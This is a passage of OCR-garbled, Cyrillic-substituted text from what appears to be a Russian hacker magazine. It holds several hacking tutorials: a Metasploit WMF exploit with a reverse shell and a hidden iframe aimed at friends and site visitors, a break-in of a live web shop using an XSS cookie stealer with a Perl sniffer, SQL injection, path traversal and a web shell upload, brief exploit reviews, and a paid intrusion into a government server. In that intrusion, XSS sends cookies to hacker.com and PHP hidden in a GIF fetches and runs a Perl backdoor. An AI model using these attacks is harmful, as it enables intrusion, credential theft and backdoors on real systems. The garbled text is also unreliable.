использовать — Іе_хр_р!ѵ_те1а1і1е. Затем определяю, какой 
шелл-код я хочу выполнить. В базе с шелл-кодами на 
ѵталл/.теіазріоіі.сот для ѵѵіп32 есть целая гора шел-кодов и опи- 
саний к ним. Я использую ѵѵіп32_геѵегзе: шелл-код выполнит 
отб.ехе, подключится к моему серверу и организует пайп с ко- 
мандной оболочкой ѴѴІпбоѵѵв. Чтобы определить в шелл-коде, ку- 
да нужно подключаться, я устанавливаю обязательный параметр 
ШОЗТ в 218.10.30.191. Есть еще параметр І_РОРТ, который ука- 
зывает номер Іср-порта, куда будет подключаться шелл-код. Но 
меня устраивает и значение по умолчанию (4321). Следует отме- 
тить, что сам эксплойт Іе_хр_р1ѵ_те1а1і1е может ловить эти об- 
ратные соединения, поэтому нет нужды поднимать пеісаі. 

После того как все обязательные параметры шелл-кода определе- 
ны, я набиваю самую приятную в мире команду ехріоіі, после чего 
сплоит сообщает, что он поднял локальный ѵѵеЬ-сервер на 8080 
порту и ждет, пока кто-нибудь скачает с него файл апуІЫпдмті. 
Как ты понимаешь, адрес 0.0.0. 0 указывает на то, что перловый 
скрипт получает вое доступные в системе интерфейсы. Например, 
в моем случае ядовитый веб-сервер висел на 218.10.30.191:8080. 
218.10.30.191 — адрес внешней сетевой карточки. Время подсу- 
нуть ядовитую ссылку кому-нибудь из приятелей. 

ПОДСОВЫВАЕМ ССЫЛКУ 

— Слушай, я охреневаю. Смотри какая штука: 

Шр:// 218. 10.30. 191/апѵійіпд.ѵѵті 

Одной этой фразы хватит, чтобы приятель Алеша мигом нажал 
на ссылку. Злобная картинка скачается к нему на машину и отк- 
роется стандартным просмотрщиком в ХР. Как раз в этот момент 
его процессор начинает выполнять мои инструкции, которые ре- 
ализованы в шелл-коде. Вот уже первый байтик срывается с его 



модема и летит к моему серверу: устанавливается соединение с 
стсі.ехе, и я получаю полный доступ к его системе. Вернее, пайп 
с стб.ехе. Можно посмотреть, какие файлы находятся у него на 
рабочем стаде. Удалить ненужное. Подключиться кіір-серверу и 
скачать интересное. Наконец создать на рабочем столе 1000 
текстовых файлов со следующим содержимым: НеІІо диу! Нарру 
пей/ уеаг! На-Иа! Ѳгееіз Іо Хакер тадагіпе, (Зоб апб V. Риііп!. 

БЕЗ ВНИМАНИЯ 

Сам понимаешь, тактика, которую мы избрали, подразумевает 
одноразовую шутку над приятелем. Если хочется большего, то 
действовать надо не так прямолинейно. Хороший способ — сох- 
ранить ядовитую картинку на любом сервере в Интернете, ска- 
жем, на пагосіги . а потом во всевозможные доступные места 
вставлять следующий Ітіті-код: 

<іТгате Ііеід!і1=0 згс=’ФІІр://ѵазуа.пагоФги/!ііск.ѵѵт!’'> 

Все посетители страницы с таким кодом будут скачивать злоб- 
ную картинку и выполнять заложенный там шелл-код, который 
может делать что угодно. Еще хорошая мысль понравится поль- 
зователям локальных сетей, где есть куча общих ресурсов. Сто- 
ит только в папке иріоаб сделать директорию Ігезб рогпо, куда 
можно залить 10 порнушных картинок и одну — нашу, хакерс- 
кую, как все юзеры, открывшие эту папку для просмотра, выпол- 
нят твой шелл-код. 

ВИШНУ ѴОІЖ5 зс 



ИДЕИ МЕЕ А$ 

Вообще, слово Бгатемюгк должно было заста- 
вить тебя задуматься о какой-то виртуальной 
машине, промежуточном байт-коде и так да- 
лее. Но здесь все проще. Основная идея зак- 
лючается в том, что для использования и тести- 
рования различных багов рационально создать 
удобное ядро, к которому можно подключать 
самые разнообразные эксплойты. Поскольку 
шелл-код, выполняемый эксплойтом, способен 
меняться, то разумно сделать базу самых часто 
используемых шелл-кодов. А также необходи- 
мо, чтобы управляющее ядро позволяло встав- 
лять в сплоиты разнообразные шелл-коды. 
Другими словами, Мсгазріоіг Бгате\ѵогк — это 
перловая программа, позволяющая подключать 
к себе написанные в специальном формате 
сплоиты и вставлять в них любые из доступных 
шелл-кодов. Всего в базе со сшюитами больше 
сотни ядовитых программ, а количество разно- 
образных шелл-кодов просто поражает! 
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взлом 





Не стоит забывать, что все действия взломщиков проти- 
возаконны. поэтому данная статья предназначена лишь 
для ознакомления. За применение материала в незакон- 
ных целях автор и редакция ответственности не несут. 



ВЗЛАМЫВАЕМ ПОПУЛЯРНЫЙ ДВИЖОК ДЛЯ Е-ШОПИНГА 

ІІТО, ЧТО В ЭЛЕКТРОННЫХ МАГАЗИНАХ МАЛО ДЫР, — ЭТО НЕ ПУСТЫЕ СЛОВА. ЗАБИВ 
В БАГТРАКЕ СЛОВО ЗНОР, Я УВИДЕЛ ЛИШЬ НЕСКОЛЬКО ССЫЛОК 2000 ГОДА, ПАРУ 
ПАССИВНЫХ ХЗЗ’ОК И УПОМИНАНИЕ ОБ ЗОБ-ИНЪЕКЦИИ ЗА 2001 ГОД. МЕНЯ ЭТО СИЛЬ- 
НО УДИВИЛО И Я РЕШИЛ ИСПРАВИТЬ СИТУАЦИЮ. МНЕ ДАЖЕ СТАЛО ИНТЕРЕСНО ПОИСКАТЬ 
ДЫРУ В КАКОМ-НИБУДЬ БЕСПЛАТНОМ МАГАЗИННОМ ДВИЖКЕрр 



ПАСХАЛЬНОЕ ЯЙЦО ОТ К5Т 

Не так уж и много людей знают о том, что в мегапопулярном \ѵеЬ-шеллс от российской команды К8Т есть 
«пасхальное яйцо» — счетчик посещений, который светит адрес установленного шелла в статистике (поле 
КеГеггег). Скачать скрипт с вырезанным счетчиком можно по этому адресу: 

\ѵ\ѵ\ѵ.5есигігѵіпГо.т Аѵ\ѵ\у /иріоаа /гооіз /г575Ье1Бгхі: 
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ТЕХТ К00РЗВ / 5ЕСШРО@МАІІ-.Ви / 



все по ПОРЯДКУ 

Все началось с того, что я зашел по фтп на сервер, где хостит- 
ся мой сайт. Среди нескольких директорий меня привлекла пап- 
ка ЗЬор, которую я до этого ни разу не видел. В ней находилось 
множество разнообразных скриптов. Обратившись к этой папке 
браузером, я окончательно убедился, что это интернет-магазин. 
Оказалось, мой друг, второй администратор нашего сайта, ре- 
шил потестить этот движок. «Коммерсант хренов», — подумал я. 
Ну хорошо, ради интереса и я его посмотрю :). 

ПРИСТУПИМ 

Скачав и установив е-шоп к себе на винчестер, я приступил к ис- 
следованиям. Этот движок назывался без особенных изысков — 
Збор-Зсгірі. Версия 2.0. Как и полагается современным движкам, 
для хранения информации использовался сервер баз данных. 
После первого же осмотра «пациента» было обнаружено нес- 
колько багов. Значения переменных не фильтровалось на спец- 
символы почти нигде, и через пять минут изучения сорцов мне да- 
же показалось, что создатели этого движка не знали вообще ни- 
чего о безопасности \л/еЬ-приложений :). Мне показалось доволь- 
но забавным, что при создании движка электронной торговли 
программисты даже не задумались о безопасности своего прило- 
жения. Хотя, может, они это сделали специально? Как бы то ни 
было, нам это только на руку. Будем изучать баги. 

ПЕРВЫЙ БАГ - Х55 

Если при оформлении заказа вставить в любое из полей личной 
информации (телефон, адрес и т.д.) строку 

<зсгір1>аіег1()</5сгір1>, 

то при отображении этой информации вылетит алерт. 
Интересно, будет ли выполняться наш код в админ-панели? При 
просмотре пользовательской информации никаких окошек не 
появилось — код не выполнялся. Однако стоит только такому 
ядовитому пользователю произвести заказ на товар, как при 
просмотре администратором новых заказов зловредный код ис- 
полнится и в нашем случае появится предупреждающее окошко. 
Написать скрипт для отсылки админских кукисов — лишь дело 
техники и давно уже пройденный тобой этап, верно? 

Примерный хзз-код такой: 

<зсгірІ>сіоситепІ.\л/гіІе(‘<ітд ѵѵісІІЫ НеідМ=1 
$гс=»ІШр://зпіМ.ги/кагііпка.Ірд?’+сІоситеп(.соокіе+’»>’);</зсгірЬ 

На свой же сервер для проведения атаки нужно залить пример- 
но следующий перловый скрипт: 

код продвинутого снисЬера на РегІ 

#!/изг/Ьіп/регІ 

$І.одЕІІе=»Іод.ІхІ»;#путь к лог-файлу 
$тІепдФ=50;#максимальное число записей 
ргіпі «і-осаііоп: ітаде.діШп»;#делаем редирект на картинку 
геафЗЮІІМ, $іприІ, $ЕЩ‘С0МТЕМТ_1_Е1\16ТН’});#читаем дан- 
ные запроса 

$іприІ = $ЕІ\ІѴ{‘СШЕВѴ_ЗТВІІ\І6’} ІІ $ЕІ\ІѴ{‘СІІІЕВѴ_ЗТВІІ\І6’}; 

Зіприі =~ з/%([а-ІА-Р0-9][аФА-Р0-9])/раск(«С», Ііех($1))/ед; 

$по\д/_зігіпд = ІосаІІІте;#получаем время запроса и 

НТТР.ВЕЕЕВЕВ 

$геР = $ЕІ\ІѴ{‘НТТР_ВЕРЕВЕВ’}; 



#читаем лог-файл в массив 

орел (Ш6,»$І-одРІІе») II Фе «Сап’І Ореп $І_одРІІе: $!\п»; 

@ШеіехІ=<І_ 06 >; 

сіозе (Ш6); 

ореп (Ш6, «>$І_одРІІе»);#открываем на запись лог 
Сохраняем данные запроса 

ргіпі Ш6 «[$поѵѵ_зІгіпд] ІР=$ЕІ\ІѴ{‘РЕМ0ТЕ_А00В’} ВЕРЕВ- 
ЕВ=$геІ СШЕВѴ=$іприІ\п»; 

Сохраняем остальные логи так, чтобы длина лог-файла не 

превышала тіепдііт 

$соипІег=1; 

Іогеасіі $І_06ІІет (@Ш61ехІ) 

{ 

ІІ ($соипІег<$тІепдІІі){ ргіпі Ш6 «$Ш6ІІет»; }; 

$соипІег++; 

I; 

сіозе (Ш6);#закрываем лог 
ехіі; 

Приведенный скрипт позволяет отслеживать ІР-адрес, поле 
Веіегег и принимать произвольные данные, переданные скрипту. 
Сценарий возвращает пользователю картинку, крадет его куки- 
сы и не вызывает подозрений. 

ВТОРОЙ БАГ 

Задействовав поисковик (даже не буду говорить какой), был 
выбран сайт, работающий на Збор-Зсгірі. Естественно, перед 
этим я не забыл про свою анонимность. 

На сайте торговали какой-то мебелью. Хотя мне было без разни- 
цы :). Задача была одна — получить доступ к админке либо к ба- 
зе данных. 

Не обладая достаточными знаниями по зді-іпіесііоп, я все-таки 
пытался вытянуть информацию из БД. 

Было несколько вариантов вроде: 

ііПр://теЬеіаг1.сот/іпсІех.ріір?саІедогуЮ=666+ипіопч-5еІесІ+пи 

ІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ/*, 

но количество столбцов не совпадало (следовало воспользо- 
ваться скриптом для подборки числа выбираемых полей или по- 
добрать его руками. — Прим. ред.). 

В общем, нужного эффекта мне достигнуть не удалось. Тогда 
было решено подключить к этому делу своего знакомого, кото- 
рый неплохо разбирается в зді-іпіесііоп. Он был слишком разго- 
ворчив и подкинул несколько идей: 

ІіІІр://теЬеіаП.сот/іпсІех.ріір?саІедогуЮ=- 

1%20ипіоп%20зеіесІ%20ІоасІ_ІІІе(7еІс/ра55ѵѵсІ’)%201гот%20а 

сітіп/* 

ітІІр://теЬеіаг1.сот/іпсІех.рИр?саІедогуЮ=- 

Г/о20ипіоп%20зеІесІ%20ра55\л/огсІ%201гот%20асІтіп/* 

Однако реализовать предложенное им у меня опять не получи- 
лось, и я решил продолжить атаку на следующий день. 

НОВЫЕ РЕШЕНИЯ 

Честно говоря, мне совсем не хотелось вылавливать админские «пе- 
ченьки» с помощью СЗЗ. Вытащить же данные из базы никак не по- 
лучалось. Казалось бы, что выхода нет и придется довольствоваться 




В Сети уже довольно давно можно скачать исходный код известного магазина еВаѵ. Если ты хочешь почувствовать себя в роли серьезного 
багоискателя. то поисковик тебе поможет найти эти интересные сорцы :1. 
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лишь фактом присутствия уязвимостей. Но тут я подумал, что раз в 
системе присутствуют 2 классических бага, то почему бы не попро- 
бовать реализовать и третий? :) И точно, интуиция меня не подвела. 
У скрипта іпбех.рНр есть параметр аих_раде, именно он умел 
читать файлы на сервере. 

Недолго думая, я решил просмотреть логины юзверей. Подста- 
вив аих _раде=. ./../../../еіс/раззѵѵсі, я увидел все логины. 
Посмотрев исходники движка, был найден интересный файл соп- 
песІ.іпс.рМр, который находился в директории сТд. В нем была пол- 
ная информация для подключения к БД. То есть хост, логин, пароль 
и логин администратора магазина. Теперь, подставив в параметр 
аих_раде и значение ./сід/соппесІ.іпс.рЬр, скрипт выдал пустую 
страницу, посмотрев исходник которой, был достигнут желаемый 
результат: там я обнаружил идентификаторы для подключения к БД. 
Далее я залил скрипт зді.рітр (также для этих целей подойдет 
программа ЗОБуод) от команды ВЗТ, на ранее поломанный сер- 
вер, и подключился к базе данных. 

БД теперь под контролем. Дальше — больше. Быстро пробежав- 
шись по таблицам, я нашел решение еще одной задачи. Оказа- 
лось, что пароль и логин от админки скрипт хранит в таблице 
53_сизІотегз, причем без всякого шифрования, в открытом ви- 
де. Теперь, введя эти данные в поля на главной странице сайта, 
я попал в зону администратора. Вот и все. Задача выполнена. 

ЭТО ЕЩЕ НЕ КОНЕЦ 

Передо мной красовалась админка. Было 2 новых заказа. 

Я подумал, что можно поменять цену какого-нибудь дивана на пару 
сотен 1130 и заказать о доставкой на дом. Но, так как мебели у ме- 
ня и так хватало, да и пополнять число зеков тоже не хотелось, я 
не стал воплощать этот бред воспаленного мозга в реальность :). 
Потом я подумал о данных по кредиткам наивных клиентов, но 
подобной информации обнаружено не было. Были лишь адреса, 
фамилии, телефоны и т.д. 

Я имею полный доступ к базе данных, к админке, что еще нужно 
для полного счастья? Правильно, не хватает шелла :). 

Админка оказалась вполне функциональной, но пункта «Залить 
шелл» почему-то не оказалось :). 

Сначала я подумал, что получить веб-шелл на этой машине бу- 
дет проще простого, но не тут-то было. Я начал вставлять ба- 
нальную строчку «<?рбр вузІет(«ісІ»); ?>» везде где можно: сна- 
чала в блок новостей, потом в страницы «О магазине» и «Дос- 
тавка и оплата», но нигде не было вывода заветных прав. 



ЗАЛИВАЕМ ШЕЛЛ 

Тогда я по инерции ткнул в пункт «Категории и товары». Там мне 
предлагалось создать новую категорию. Здесь меня заинтересо- 
вал пункт «Логотип», который предлагалось загрузить с компью- 
тера. Думаю, предсказать следующие мои действия проще прос- 
того. Я нагло загрузил файл вб.рНр, который был немного моди- 
фицированным шеллом от ВЗТ. 

Никакой проверки расширения и содержимого файла не было 
и в помине. Выбрав на сайте только что созданную категорию 
и подведя курсор к рисунку категории, я выбрал в контекстном 
меню пункт Ореп ітаде и увидел полноценный веб-шелл :). 
Сервер крутился под фряхой. Чтобы не палиться, был залит от- 
дельный шелл и удалена ранее созданная категория. Думаю, о 
том, что можно сделать с системой и как ее использовать в своих 
целях, не стоит рассказывать. Об этом слишком много написано. 

ТНЕ ЕЫР 

Чуть позже я рассказал второму админу нашего сайта о том, 
насколько дыряв «Шоп-Скрипт», и тот, с глубокой досадой, уда- 
лил этот дуршлаг. 

Вот видишь, как несерьезно люди подходят к вопросу организа- 
ции электронной коммерции. Серьезная фирма может завести 
сайт на движке ЗИор-ЗсгірІ, какой-нибудь хакер их взломает, ин- 
формация о клиентах может стать разглашенной, а в итоге фир- 
ма потеряет не только авторитет, но и немалые деньги. 

Движок ЗНор-ЗсгірІ весьма популярен в Интернете, и, проведя 
небольшой аудит сайтов, работающих на этом движке, я сделал 
вывод, что 80% из них уязвимы. Я считаю, что веб-шопы должны 
писаться строго на заказ. Сайт все равно могут взломать, но 
все-таки безопасность становится немного выше. Пользоваться 
СМ3, код которой открыт всему Интернету, можно лишь неболь- 
шим магазинам, покупки в которых происходят раз в месяц :). 
В случае взлома урон будет небольшой. 

Посмотрев еще несколько хостов, которые Гугл выдал мне на 
запрос «Іпцг1:іпс1ех.р1тр?аих_раде=», я удивился, увидев на двух 
сайтах данные от БД, которые были на сервере, описанном вы- 
ше. Человек держал 3 магазина на одинаковом движке и оба 
они, естественно, были уязвимы :). 

Б I N Д Р V ѴОІЛѴ5 ЗС 
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Докучаев Дмитрий ака РогЬ (!огЬ@геаІ. хакер. ш) 

ЕХРЮІТ8 КЕѴІЕѴѴ 



ЫТРР НЕМОТЕ НООТ ЕХРБОІТ 



описание: пока здравомыслящие люди справ- 
ляли Новый Год и все прочие праздники, хаке- 
рам и багоискателям было не до земных утех: 
они продолжали искать уязвимости и писать 
эксплойты. Таким образом, уже в 2006 году мир 
узнал о новых дырах в известных продуктах. 
Например, о бреши в юниксовом демоне пірф 
отвечающий за синхронизацию времени в гло- 
бальной сети. Как ты знаешь, клиент, обраща- 
ясь к этому серверу, требует ответа, содержа- 
щего точное время. После этого демон отправ- 
ляет клиенту последовательность незамыслова- 
тых цифр. Один умный человек решил послать 
пірб кривой запрос, с избыточным количеством 
символов — в итоге пірб просто отбросил конь- 
ки :). После непродолжительного шаманства ха- 
кер написал мощный эксплойт, способный соз- 
дать суидный шелл /ітр/зЬ. 

защита: защиты от этой дырки пока не суще- 
ствует. Поэтому до выпуска новой версии пірсі 
убей инфицированный демон или используй 
файрвол для фильтрации нежелательных под- 
сетей. Надеемся, что в скором будущем выйдут 
заплатки либо свежие релизы программы п(р<± 

ссылки: скачиваем эксплойт по адресу: 
уууууу.зесип1у1аЬ.ш/рос/ех1га/246196.рбр . 

В комментариях ты найдешь избыточную 
техническую информацию об уязвимости 
в п1р<± 



злоключение: надо сказать, что на гетоіе 
ехріоіі это творение пока не тянет. Да, сплоит уме- 
ет эксплуатировать дыру. Он также способен соз- 
давать Лтр/зН с битом 4755. Однако зловещий 
бинарник не может сделать Ыпб() на уязвимом 
хосте. Поэтому считаем, что пірб-ехр.с — локаль- 
ное средство эксплуатирования ипіх-систем :). 

дгееіз: На сей раз отличились польские хакеры: 
эксплойт был написан поляком с ником ѵепдііп 
( ѵепдІіпШгееЬзсІ.ІиЫіп.рІ ). Пишите письма 
и ждите ответа :). 



РНР <= 4.4.0 МУЗО^СОЫМЕСТО 
ВОР ЕХРЮІТ 

описание: в начале января хакеры порадо- 
вали нас новой экзотической дыркой в РНР. 
Ошибка нашлась в функции тузцІ_соппесІ(). 
Баг может привести к выполнению любых 
системных команд. Данная брешь оказалась 
весьма полезной, так как администраторы 
обычно закрывают все возможности исполь- 
зования зуз1ет(), ехес(), разз11ті() и прочих 
опасных команд. Их альтернатива кроется в 
использовании важного тузцІ_соппесІ() :). 
Баг актуален только для ѴѴІпбоѵѵз-систем и 
для РНР четвертой версии (в наше время ис- 
пользуется именно такой расклад). Эксплуа- 
тирование заключается в скармливании 
функции поддельного аргумента удаленного 
тузці-сервера, содержащего шелл-код. В ре- 
зультате этого код успешно выполняется бла- 
годаря банальному переполнению буфера. 

защита: с радостью сообщаю, что решения 
проблемы в настоящее время не существует. 
Это значит, что множество, казалось бы, за- 
щищенных ѴѴІпбоѵѵз-хостов находятся под 
прицелом. 



ссылки: техническая сторона вопроса и фраг- 
менты эксплуатационного кода находятся на 
странице ууѵѵѵѵ.5есигіМаЬ.ги/рос/ех{га/243730.рІір . 
Более подробное описание бага лежит тут: 
ѵѵѵѵѵѵ.зесигіІѵІаЬ.ги/ѵиІпегаЫІІІѵ/зоигсе/ 24371 3.рИр. 



злоключение: если бы не ограничения, на- 
лагаемые на эксплойт (ѴѴІпбоѵѵз, РНР 4.x), то 
радости хакеров не было предела. Однако 
можно взломать и другие релизы РНР, прос- 
то адрес смещения там будет другим. Обна- 
ружение его — твоя главная задача :). 



дгееіз: данный эксплойт родили умные люди 
из команды ЗесѴѴаІсб.ога . Ники, емейлы, 
аськи и прочие интимные подробности не 
разглашаются, поэтому ищи информацию 
прямо на сайте :). 



М3 ѴѴІШОѴѴЗ АРС 
І_ОСАІ_ ЕХРБОІТ (М305-055) 

описание: на закуску расскажу о новом 
эксплойте супротив ѴѴІпсІоѵѵз 2000. Эта, ка- 
залось бы, старая операционка до сих пор 
используется в качестве «стабильной» сер- 
верной ОЗ (да что скрывать, даже мне при- 
ходится юзать ее для терминальных серви- 
сов). Недавно стало известно, что при обра- 
ботке списка элементов АРС (асинхронного 
вызова процедур) возможна ошибка, приво- 
дящая к повышению прав (естественно, до 
уровня ЗѴЗТЕМ-изег). Для этого багоиска- 
тели написали два файла: первый представ- 
ляет собой главное приложение эксплойта, 
второй — Меірег-файл — непосредственно 
выполняет эксплуатирование системы. Пос- 
ле подачи команды вида «таіп.ехе 
Неірег.ехе» произойдет чудо, после которого 
права хакера станут выше. 

защита: МісгозоН достаточно быстро отреа- 
гировала на происходящее и выпустила зап- 
латки для ѴѴІп2к. Взять их можно по адресу: 
уѵѵѵѵѵ.тісгозоН.соггі . 



ссылки: забирай эксплойт по адресу: 
уѵѵѵ№.5есигіМаЬ.ги/рос/ех1га/243700.рІір . На тех- 



ническую часть ссылку не дам, поскольку допол- 
нительная информация пока не разглашается. 



злоключение: Старая добрая ѴѴіп2к всегда сла- 
вилась своими багами. Сейчас хакеры бросили 
еще один камень в огород МісгозоП. Я думаю, ма- 
ло кто удивился новой дырке в ѴѴІпсІоѵѵз 2000, по- 
тому как сейчас более актуальны эксплойты для 
ѴѴІпХР/2003. Несмотря на это, данное орудие не 
будет лишним в арсенале матерого взломщика :). 

дгееіз: дружно объявляем благодарность 
хакеру ЗоВеІІ. 



^тяжелый запрос к пфб 
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ТЕХТ І_13/І.15@и8Т.К(І/ 



ГФСУААРСТІФ 

ІПФЗЕ 

І_ОСА1_ РООТ ГОСУДАРСТВЕННОГО 
СЕРВЕРА ПОД РВЕЕВЗО 

ІІПРОБЕГАЯ ПО РАЗЛИЧНЫМ ЗЕС-ФОРУМАМ, Я НАТК- 
НУЛСЯ НА ПОСТ, В КОТОРОМ ДОБРЫЙ ЧЕЛОВЕК ПРЕД- 
ЛАГАЛ ПОЛОМАТЬ КАКОЙ-ТО ВАЖНЫЙ ПОЛИТИЧЕСКИЙ 
РЕСУРС. ЗА ПОЛУЧЕНИЕ РООТ-ДОСТУПА ОН ЩЕДРО 
ВЫКЛАДЫВАЛ $300. ВООБЩЕ, Я НЕ ЛЮБИТЕЛЬ ВЗЛО- 
МОВ НА ЗАКАЗ, НО В ТОТ ХОЛОДНЫЙ И ТОСКЛИВЫЙ ВЕ- 
ЧЕР, МНЕ ПОЧЕМУ-ТО ЗАХОТЕЛОСЬ НЕМНОГО ПОРАЗ- 
МЯТЬСЯ И УСТРОИТЬ СЕРВЕРУ ПОЛНУЮ ПРОВЕРКУ** 



ВІРРЕВ5? ПІСК! 

Прежде чем браться за работу, я решил нем- 
ного обезопасить себя и пробить этого парня 
по базе рипперов. Я быстренько стукнул к до- 
вольно качественному боту, который и по сей 
день нормально функционирует на уине 
4474744, и забил ему такую команду: ! гіррег 
[піск], на что бот мне приятно ответил: [піск] із 
поі іп оиг баІаЬазе. Связавшись с добрым че- 
ловеком, я получил хост, и мы быстро разбе- 
жались по своим делам. 

Ш АТТАСК 

Начать взлом я решил со сбора информации 
о сервере. Сначала методом ѵѵбоіз-пробива я 
узнал ір-адрес сервера. После посетил ѵѵеЬ- 
интерфейс жертвы, на котором нашлось при- 
личное количество скриптов, довольно скуд- 
ный дизайн, два мыльника (один из которых, 
по моим подозрениям, был админским и имел 
такой вид: Ьеппу@зегѵ.доѵ). Весь движок ра- 
ботал на рбр, но это меня как-то совсем не 
радовало. Далее по стандарту я врубил птар 
на удаленном шелле и скомандовал ему ска- 
нить 21 , 22, 23, 25, 110, 80, 3306 порты с фла- 
гом -О и -зѴ, что указывало на необходи- 
мость определения версий операционной 
системы и сетевых служб. Через некоторое 
время задыхающийся птар рассказал мне 
кое-что о сервере. Например, что на 21 порту 
висел РгоРТРО 1.2.1, ЗепбтаіІ грелся на 25, 
но для его версии сплоита у меня не оказа- 
лось, а искать в паблике я не стал, так как это 
бесполезно. На 80 по дефолту висел АрасНе, 
на 3306 был тузці одной из последних веток. 
После анализа полученной мною информа- 
ции было решено забить (пока) на атаку сер- 
висов и подойти к серверу с другой стороны. 

АЫОТНЕВ 5ЮЕ 

На следующее утро мне ничего не остава- 
лось, как вплотную заняться исследованием 
ѵѵеЬ и поискать удачу там. Я зашел на сайт и 
еще раз немного осмотрелся на нем. Побегав 
по ссылкам, я не нашел ни ірЬ, ни дырку- 
рбрВВ, и никакого паблик ПО там тоже не 
стояло, а это еще раз говорило о том, что 
сервер хорошо защищен. На серверах по- 
добного типа обычно находится огромное ко- 
личество различных директорий и файлов, в 
нахождении которых мне помог мой давно из- 
любленный сканер — ЬШо. Теперь мне нуж- 
но было натравить сканер на свою жертву, 
что я и сделал. Через 5 минут я уже лицезрел 
результат на экране своего монитора. К со- 
жалению, большого обилия папок я не нашел, 
но все же сканер показал мне кое-что: 

Іійр://$егѵ.доѵ/а/асІтіп.рІір [200ок] 
Іійр://$егѵ.доѵ/и$ег$/риЬ/ [200ок] 

Первый линк вел прямо в админку, о которой 
я давно уже подозревал, а второй меня никуда 
не привел по понятной причине правильно выс- 
тавленных прав. Проверив, правильно ли ведет 



меня первая ссылка на админку, я начал ковы- 
рять сервер дальше. Мне встретилось еще 
много скриптов, но после их проверки ожидае- 
мого результата я не получил. Я уже собирался 
сваливать оттуда, как вдруг на одной странице 
я наткнулся на небольшую формочку для ка- 
ких-то политических дебатов в народе — БА- 
ЗАР. У формы имелось два поля: имя и текст 
сообщения. У меня сразу возникла мысль про- 
верить эту форму и ее поля на разные фильт- 
ры. Я не ошибся. Для начала я попробовал 
вставить стандартную іаѵа-вставку такого вида: 
<8сгір1>аІеП(‘х55’);</8сгір1>, но мне дали забо- 
ристого пинка. Тогда я решил пробить доступ- 
ные тэги, которые используются для добавле- 
ния сообщений. Под мой злобный взгляд попа- 
ли два доступных тэга — [ітд] и [соіог], второй 
из которых мог помочь мне в дальнейшем :). 
Итак, давай чуть подробнее разберемся в даль- 
нейших моих действиях. Мне было необходимо 
составить хзз-эксплойт, после натравить его на 
кукисы админа, а уже потом попробовать цепа- 
нуть их с помощью обычного снифера. После 
10-минутного тестирования вражеский іаѵа-код 
был составлен. Расскажу тебе об этом в дета- 
лях. Сначала я попробовал оставить пост тако- 
го вида [соІог="гесГ]Тез1[/соІог]. Мессага «Тезі» 
удачно отобразилась в красных цветах. Далее 
я переработал ее уже в такую конструкцию, ко- 
торая выкидывала простой алерт «ХЗЗ»: 



[соІог=геФ> 5ІуІе=ЬаскдгоипсІ-ітаде:игІ( 
Іаѵа$сгірІ:аІегі(«Х5$»));] Тезі! [/соіог] 

Нетрудно добить эксплойт до такого уровня, 
чтобы снифер, который установлен на сайте 
хакера, перехватывал «печенья» тех, кто смот- 
рит его злобный пост. Окончательным эксплой- 
том являлась вот такая несложная структура: 

[соІог=гесІ» зіуІе=ЬаскдгоипсІ-ітаде:игІ( 
Іаѵазсгірі: сіоситепі.ітадез 
[1 ].згс=»Іпіір://ііаскег.сот/сді- 
Ып/зпііка.сді?5:»+сІоситепі.соокіе]Ні 
асітіп! [/соіог] 

Как видишь, в теле эксплойта прописан линк 
на снифер (зпііка.сді), который и выполняет за 
меня основную работу. Теперь мне оставалось 
только ждать, пока ушастый админ не прочтет 
мой тестовый пост. Ждать долго не пришлось, 
и уже вечером мне посыпались первые вылов- 
ленные куки. А уже к ночи ко мне попала кука 
админа. То, что это был админ, я сразу понял 
по его логину (Ьеппу). Да, тот самый бенни, ко- 
торый оставил свой мыльник на главной стра- 
нице сайта :). В плюхах все было стандартно: 
хэш пароля, логин и т.д. Я слил себе довольно 
нескромную базу паролей и натравил брутер 
(тот же РаззѵѵогбРго) на хэш, кинул в бэкгра- 
унд, а сам по-тихому ушел спать. 
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На нашем диске ты най- 
дешь весь софт, опи- 
санный в этой статье 




Если у тебя нет своего 
снисЬеоа. то советую 
заглянуть сюда: 
ѵтем.апіісііаі.ги/зпік/ 



Я УЖЕ СОБИРАЛСЯ СВАЛИ- 
ВАТЬ ОТТУДА. КАК ВДРУГ НА 
ОДНОЙ СТРАНИЦЕ Я НАТКНУЛ- 
СЯ НА НЕБОЛЬШУЮ ФОРМОЧ- 
КУ ДЛЯ КАКИХ-ТО ПОЛИТИ- 
ЧЕСКИХ ДЕБАТОВ В НАРОДЕ — 
БАЗАР. 

1А” 




ѴѴЕІ.СОМЕ ТО А0МШЕ-20ЫЕ 

На следующее утро, выпив кружку кофе, я засел за комп 
и начал просматривать результаты брута. Результаты ме- 
ня приятно удивили тем, что брутер в очередной раз спас 
мою пятую точку и безжалостно плюнул мне расшифро- 
ванный пароль. Теперь моя дорога была направлена пря- 
миком в админку. Последовав по ссылке, я попал в зону 
администрирования. Админ-центр здесь был довольно 
многофункционален и хорошо продуман. Здесь можно 
было редактировать новости и разделы сайта, создавать 
свои голосования, менять различную статистику полити- 
ческих опросов, добавлять новых админов, редактиро- 
вать инфу зареганным пользователям и др. Но мне было 
нужно что-то пореальнее, за что бы я мог зацепиться и 
продолжить свой взлом. И я нашел такую возможность. 
Еще немного поковыряв админку, я нашел одну довольно 
часто встречающуюся опцию — аплоад діі-файлов. Адми- 
ну эта опция нужна была для размещения на сайте раз- 
личных политических «морд». Далее, открыв обычным 
блокнотом мою гифку, я дописал такую строку: 

<? зузіеіп (‘ссі /ітр; ѵѵдеі Шр:/Діаскег.сот/ЬсІ.рІ;с5тосІ 
755 Ьй.рІ; регі ЬФрІ ‘);?> 

Здесь выполняется переход в папку Гетр, в которую 
обычно разрешена запись, после сливается обычный 
перловый бэкдор(Ьб.рІ), ставятся ему соответственные 
права и он запускается, биндив 32767 порт, с привилеги- 
ями веб-сервера. После я сохранил все это в файл 
тогсИ.рНр и попробовал загрузить картинку на сайт, но 




окііск 323 М 
Оріісаі Мойве 



окііск 780 к 
МыНітесііа КеуЬоагб 



Когда-то в древности Великий Учитель решил испытать 
своих учеников, предложив им выбрать для себя мечи. 

Один из них выбрал легкий меч, надеясь сохранить силы 
в долгом походе. Другой выбрал длинный меч, надеясь 
поразить им больше противников с безопасного 
расстояния. 

Но самым мудрым оказался третий ученик, который 
выбрал для себя самый удобный меч, ставший продолже- 
нием его руки. 

Удобство — вот разумный выбор! 



ѵѵѵѵѵѵ.окііск.ш 
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ВЗЛОМ ///// І551ІЕ 




модифицируем діГку 






-™| 

